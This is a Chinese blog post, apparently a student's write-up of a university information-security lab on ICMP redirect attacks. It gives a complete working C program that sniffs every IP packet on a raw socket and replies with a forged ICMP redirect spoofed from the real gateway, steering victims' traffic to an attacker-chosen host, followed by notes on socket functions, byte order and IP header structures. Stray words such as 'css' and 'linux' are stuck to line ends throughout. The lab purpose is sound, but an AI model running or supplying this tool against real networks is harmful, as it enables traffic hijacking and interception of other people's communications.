科軟-信息安全實驗1-ICMP重定向

目錄css

一 前言

文章不講解理論知識哈,想學習理論知識的,認真聽課😄,也能夠參考郭老師的講義:信息安全課程 ustcsse308html

對於Linux,我只是個半路闖進來的小白,作實驗過程當中常常會被Linux內核玩得懷疑人生。因此我以爲頗有必要先闡明實驗的環境,以避免各位同窗不當心掉坑裏。固然,若是你就是想爬坑,咱也攔不住😄linux

實驗環境 / 工具:編程

你可能用得上的網站:ubuntu

相關實驗:安全

回到目錄網絡

二 Talk is cheap, show me the code

須要注意,下面代碼的攻擊目標不是對特定的IP,而是對全部捕獲到的IP包都發送重定向包,若是你想修改過濾邏輯,修改pass_filter()方法就能夠了。socket

代碼 lcx-icmp.c 以下:tcp

  1 #include<stdlib.h>
  2 #include<stdio.h>
  3 #include<string.h>
  4 #include<unistd.h>
  5 #include<sys/types.h>
  6 #include<sys/socket.h>
  7 #include<netinet/in.h>
  8 #include<netinet/ip_icmp.h>
  9 #include<linux/if_ether.h>
 10 #include<arpa/inet.h>
 11  
 12 #define BUFF_SIZE 2048
 13 #define SUCCESS   1
 14 #define FAILURE   -1
 15 
 16 const char *cmd_gateway = "-g";
 17 const char *cmd_srcip = "--src-ip";
 18 struct sockaddr_in arg_gateway;
 19 struct sockaddr_in arg_srcip;
 20 struct sockaddr_in target;
 21 int recvsockfd = -1;
 22 int sendsockfd = -1;
 23 int optval = 1; // setsockopt()函數中使用
 24 unsigned char recvbuff[BUFF_SIZE];
 25 unsigned char sendbuff[BUFF_SIZE];
 26 
 27 // 方法聲明
 28 int load_args(const int argc, char **);
 29 void print_cmdprompt();
 30 int icmp_redirect();
 31 int pass_filter();
 32 unsigned short cksum(unsigned short *, int len);
 33 
 34 int main(int argc, char* argv[]) {
 35     if (load_args(argc, argv) < 0) {
 36         printf("command format error!\n");
 37         print_cmdprompt();
 38         return FAILURE;
 39     }
 40     recvsockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
 41     sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 42     if (recvsockfd < 0 || sendsockfd < 0
 43         || setsockopt(sendsockfd, SOL_IP, IP_HDRINCL, &optval, sizeof(optval))) {
 44         perror("socket creation error");
 45         return FAILURE;
 46     }
 47     printf("lcx-icmp running...\n\n");
 48     while (1) {
 49         bzero(recvbuff, BUFF_SIZE);
 50         if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) > 0) {
 51             if (pass_filter())
 52                 icmp_redirect();
 53         } else {
 54             sleep(1);
 55         }
 56     }
 57     close(sendsockfd);
 58     close(recvsockfd);
 59     return SUCCESS;
 60 }
 61 
 62 /**
 63  * 命令:lcx-icmp -g 192.168.23.132 --src-ip 192.168.23.2
 64  * 
 65  * 載入參數:
 66  *   1) arg_gateway: 192.168.23.132
 67  *   2) arg_srcip: 192.168.23.2
 68  *
 69  * 參數標識:
 70  *   1) argv[1]: -g
 71  *   2) argv[3]: --src-ip
 72  *
 73  * @author southday
 74  * @date 2019.03.29
 75  */
 76 int load_args(const int argc, char *argv[]) {
 77     if (argc != 5
 78         || strcmp(argv[1], cmd_gateway) != 0
 79         || strcmp(argv[3], cmd_srcip) != 0
 80         || inet_aton(argv[2], &arg_gateway.sin_addr) == 0
 81         || inet_aton(argv[4], &arg_srcip.sin_addr) == 0)
 82         return FAILURE;
 83     return SUCCESS;
 84 }
 85 
 86 /**
 87  * 打印命令提示信息
 88  * @author southday
 89  * @date 2019.03.29
 90  */
 91 void print_cmdprompt() {
 92     printf("\nlcx-icmp -g [gateway_ip] --src-ip [from_ip]\n\n");
 93     printf("\t      -g [gateway_ip]      eg: -g 192.168.23.132\n");
 94     printf("\t--src-ip [from_ip]         eg: --src-ip 192.168.23.2\n");
 95 }
 96 
 97 /**
 98  * 發送ICMP重定向包
 99  * @author southday
100  * @date 2019.03.29
101  * @return 成功與否
102  */
103 int icmp_redirect() {
104     // 以太網幀首部14字節:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
105     struct ip *origin_ip = (struct ip *)(recvbuff + 14);
106     bzero(sendbuff, BUFF_SIZE);
107 
108     // 構造IP首部
109     struct ip *ip = (struct ip *)sendbuff;
110     ip->ip_hl = 5;
111     ip->ip_v = 4;
112     ip->ip_tos = 0;
113     // 20B(IP首部) + 8B(重定向ICMP首部) + ?B(原始IP首部) + 8B(原始IP數據報的前8個字節)
114     ip->ip_len = htons(20 + 8 + (origin_ip->ip_hl<<2) + 8);
115     ip->ip_id = origin_ip->ip_id;
116     ip->ip_off = 0;
117     ip->ip_ttl = 64;
118     ip->ip_p = 1; // ICMP:1
119     ip->ip_sum = 0;
120     ip->ip_src = arg_srcip.sin_addr;
121     ip->ip_dst = origin_ip->ip_src;
122     // 計算IP首部校驗和,只涉及首部
123     ip->ip_sum = cksum((unsigned short *)ip, 20);
124 
125     // 構造ICMP首部
126     struct icmp *icmp = (struct icmp *)(sendbuff + 20);
127     icmp->icmp_type = 5; // REDIRECT TYPE = 5
128     icmp->icmp_code = 1; // 對特定主機路由的改變
129     icmp->icmp_cksum = 0;
130     icmp->icmp_hun.ih_gwaddr = arg_gateway.sin_addr;
131 
132     // 拷貝原始IP首部 + 原始IP數據報的前8個字節,拷貝到sendbuff的toaddr位置
133     unsigned char *toaddr = (unsigned char *)(sendbuff + 20 + 8);
134     // 從recvbuff中取: 原始IP首部(長度爲origin_ip->ip_hl<<2) + 原始IP數據報的前8個字節
135     memcpy(toaddr, (unsigned char *)origin_ip, (origin_ip->ip_hl<<2) + 8);
136     // 計算ICMP校驗和,涉及首部和數據部分,包括:8字節ICMP首部 + 原始IP首部 + 原始IP數據報的前8字節
137     icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + (origin_ip->ip_hl<<2) + 8);
138 
139     // 打印IP包字節數據,便於調試
140     printf("                                              %02x %02x", sendbuff[0], sendbuff[1]);
141     for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
142         if (i % 16 == 0)
143             printf("\n");
144         if (i % 8 == 0)
145             printf("  ");
146         printf("%02x ", sendbuff[i+2]);
147     }
148     printf("\n");
149 
150     target.sin_addr = ip->ip_dst;
151     int ret = sendto(sendsockfd, sendbuff, ntohs(ip->ip_len), 0, (struct sockaddr *)&target, sizeof(target));
152     if (ret < 0) {
153         perror("send error");
154     } else {
155         printf("send a icmp redirect package!\n");
156     }
157     return SUCCESS;
158 }
159 
160 /**
161  * 包過濾,過濾非TCP, UDP, ICMP的包
162  * @author southday
163  * @date 2019.03.29
164  * @return 是否經過過濾
165  */
166 int pass_filter() {
167     // 以太網幀首部14字節:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
168     struct ip *ip = (struct ip *)(recvbuff + 14);
169     return (ip->ip_p == IPPROTO_TCP
170             || ip->ip_p == IPPROTO_UDP
171             || ip->ip_p == IPPROTO_ICMP);
172 }
173 
174 /**
175  * 計算校驗和
176  *   1) IP:IP首部
177  *   2) ICMP:首部+數據
178  * @param *addr 開始計算校驗和的入口地址
179  * @param len 計算校驗和所使用的數據長度,單位Byte
180  * @return 16位的校驗和
181  *
182  * @author southday
183  * @date 2019.03.29
184  */
185 unsigned short cksum(unsigned short *addr, int len) {
186     int sum = 0;
187     unsigned short res = 0;
188     /* len -= 2,由於 sizeof(unsigned short) = 2;
189      * sum += *addr++,每次偏移2Byte
190      */
191     for (; len > 1; sum += *addr++, len -= 2);
192     // 每次處理2Byte,可能會存在多餘的1Byte
193     sum += len == 1 ? *addr : 0;
194     // sum:高16位 + 低16位,高16位中存在可能的進位
195     sum = (sum >> 16) + (sum & 0xffff);
196     // sum + sum的高16位,高16位中存在可能的進位
197     sum += (sum >> 16);
198     // 通過2次對高16位中可能存在的進位進行處理,便可確保sum高16位中再無進位
199     res = ~sum;
200     return res;
201 }
View Code

回到目錄ide

三 效果演示

mice端執行ping命令,以下:

hacker端執行lcx-icmp程序,以下:

我把發送的IP包字節打印出來,方便結合Wireshark進行調試;

回到目錄

四 遇到的問題&解決

下面的內容是我在作實驗過程當中遇到的問題、疑問、思考,對很多知識點也只是淺嘗輒止,僅供參考😊

1 ‘ETH_P_IP’ was not declared in this scope

添加頭文件:#include<linux/if_ether.h>
該頭文件位於:/usr/include/linux/if_ether.h

2 recv()、recvfrom() | send()、sendto()函數的使用

sendto(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrServ,sizeof(SOCKADDR));  // UDP
send(sd, buffer, BUFSIZ, 0);  // TCP
recvfrom(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrClient,sizeof(SOCKADDR));  // UDP
recv(sd, buffer, BUFSIZ, 0);  // TCP

recvfrom 可同時應用於面向鏈接和無鏈接的套接字;recv 通常只用在面向鏈接的套接字,幾乎等同於recvfrom,只要將recvfrom的第5個參數設置爲NULL;
recvfrom 多了兩個參數,能夠用來接收對端的地址信息,這個對於udp這種無鏈接的,能夠很方便地進行回覆。若是在udp當中也使用recv,那麼就不知道該回復給誰了,若是你不須要回復的話,也是可使用的。對於tcp是已經知道對端的,就不必每次接收還多收一個地址,不必取地址信息,在accept中就能夠取得。

3 setsocketopt()函數

功能描述:獲取或者設置與某個套接字關聯的選項。選項可能存在於多層協議中,它們總會出如今最上面的套接字層。當操做套接字選項時,選項位於的層和選項的名稱必須給出。爲了操做套接字層的選項,應該將層的值指定爲SOL_SOCKET。爲了操做其它層的選項,控制選項的合適協議號必須給出。例如,爲了表示一個選項由TCP協議解析,層應該設定爲協議號TCP。
 
int getsockopt(int sock, int level, int optname, void *optval, socklen_t *optlen);
int setsockopt(int sock, int level, int optname, const void *optval, socklen_t optlen);
  • sock:將要被設置或者獲取選項的套接字;
  • level:選項所在的協議層;
  • optname:須要訪問的選項名;
  • optval:
    • 對於getsockopt(),指向返回選項值的緩衝;
    • 對於setsockopt(),指向包含新選項值的緩衝;
  • optlen:
    • 對於getsockopt(),做爲入口參數時,選項值的最大長度。做爲出口參數時,選項值的實際長度;
    • 對於setsockopt(),現選項的長度;

4 unsigned int ip_hl:4,這裏的:4是什麼意思?

位域,表示ip_hl只取4bit;位段(bit-field)是以位爲單位來定義結構體(或聯合體)中的成員變量所佔的空間。含有位段的結構體(聯合體)稱爲位段結構。採用位段結構既可以節省空間,又方便於操做。

5 爲何要使用htons(),ntohl(),ntohs(),htons()函數?

之因此須要這些函數是由於計算機數據表示存在兩種字節順序:NBO與HBO;

參考: socket編程爲何須要htons(), ntohl(), ntohs(),htons() 函數

htonl()--"Host to Network Long"
ntohl()--"Network to Host Long"
htons()--"Host to Network Short"
ntohs()--"Network to Host Short"

數字所佔位數小於或等於一個字節(8 bits)時,不要用htons轉換。這是由於對於主機來講,大小尾端的最小單位爲字節(byte)。
網絡字節順序(NBO,Network Byte Order):按從高到低的順序存儲,在網絡上使用統一的網絡字節順序,能夠避免兼容性問題。
主機字節順序(HBO,Host Byte Order):不一樣的機器HBO不相同,與CPU設計有關,數據的順序是由cpu決定的,而與操做系統無關。
如 Intelx86結構下,short型數0x1234表示爲34 12,int型數0x12345678表示爲78 56 34 12;如IBM power PC結構下,short型數0x1234表示爲12 34,int型數0x12345678表示爲12 34 56 78;

6 關於大端法、小端法

例若有個變量x爲int型,存放在地址0x100的地方,其16進制值爲:0x12345678,地址範圍是0x100~0x103;

大端法存儲:

小端法存儲:

最高有效位( most significant bit,MSB)指的是一個n位二進制數字中的n-1位,具備最高的權值2^(n-1)。最低有效位和最高有效位是相對應的概念。在大端序中,msb即指最左端的位。
高、低字節:按平時書寫習慣,從左到右是高位到低位的順序;
高、低地址:內存地址能夠對應十六進制的數值,值大的爲高地址,不然爲低地址;


字節順序是指佔內存多於一個字節類型的數據在內存中的存放順序,一般有小端、大端兩種字節順序:

  • 大端字節序:是高字節數據存放在低地址處,低字節數據存放在高地址處;
  • 小端字節序:指低字節數據存放在內存低地址處,高字節數據存放在內存高地址處;

7 inet_aton()是什麼函數?檢測ip地址正確性?inet_ntoa()函數呢?

參考:

須要包含頭文件:

1 #include<sys/socket.h>
2 #include<netinet/in.h>
3 #include<arpa/inet.h>
int inet_aton(const char *string, struct in_addr *addr)
輸入參數:
  • string 包含ASCII碼錶示的IP地址;
  • *addr 用來保存轉換後新的IP地址結構(網絡字節序的二進制);

返回值:

  • 成功則返回非0值,返回1;
  • 失敗則返回0值;

char *inet_ntoa(struct in_addr in);

該函數將一個網絡字節順序的IP地址轉換爲它所對應的點分十進制串;
輸入參數:in 網絡字節序IP地址;
返回值:返回點分十進制字符串的指針;

8 爲何使用inet_pton()、inet_ntop()函數?它們與inet_aton()、inet_ntoa()有什麼區別?

#include <arpa/inet.h>
int inet_pton(int family, const char * strptr, void * addrptr);
返回:1(成功),0(輸入不是有效的表達格式 ), -1(出錯);
 
const char * inet_ntop(int family, const void * addrptr, char * strptr, size_t len);
其中 len =sizeof(* strptr);
返回: 指向結果的指針(成功), NULL(出錯)
 
很明顯,pton 對應 aton,ntop 對應 ntoa,雖然實現效果相同,可是它們的參數不一樣,根據 /usr/include/netinet/ip.h 中關於結構體iphdr和ip的定義便可看出區別:
  • 若是你使用struct ip,那麼使用inet_aton()、inet_ntoa();
  • 若是你使用struct iphdr,那麼使用inet_pton()、inet_ntop();
 1 struct iphdr
 2   {
 3 #if __BYTE_ORDER == __LITTLE_ENDIAN
 4     unsigned int ihl:4;
 5     unsigned int version:4;
 6 #elif __BYTE_ORDER == __BIG_ENDIAN
 7     unsigned int version:4;
 8     unsigned int ihl:4;
 9 #else
10 # error "Please fix <bits/endian.h>"
11 #endif
12     uint8_t tos;
13     uint16_t tot_len;
14     uint16_t id;
15     uint16_t frag_off;
16     uint8_t ttl;
17     uint8_t protocol;
18     uint16_t check;
19     uint32_t saddr;
20     uint32_t daddr;
21     /*The options start here. */
22   };
23 
24 struct ip
25   {
26 #if __BYTE_ORDER == __LITTLE_ENDIAN
27     unsigned int ip_hl:4;       /* header length */
28     unsigned int ip_v:4;        /* version */
29 #endif
30 #if __BYTE_ORDER == __BIG_ENDIAN
31     unsigned int ip_v:4;        /* version */
32     unsigned int ip_hl:4;       /* header length */
33 #endif
34     uint8_t ip_tos;         /* type of service */
35     unsigned short ip_len;      /* total length */
36     unsigned short ip_id;       /* identification */
37     unsigned short ip_off;      /* fragment offset field */
38 #define IP_RF 0x8000            /* reserved fragment flag */
39 #define IP_DF 0x4000            /* dont fragment flag */
40 #define IP_MF 0x2000            /* more fragments flag */
41 #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */
42     uint8_t ip_ttl;         /* time to live */
43     uint8_t ip_p;           /* protocol */
44     unsigned short ip_sum;      /* checksum */
45     struct in_addr ip_src, ip_dst;  /* source and dest address */
46   };
View Code

回到目錄

轉載請說明出處!😄 have a good time ~

相關文章
相關標籤/搜索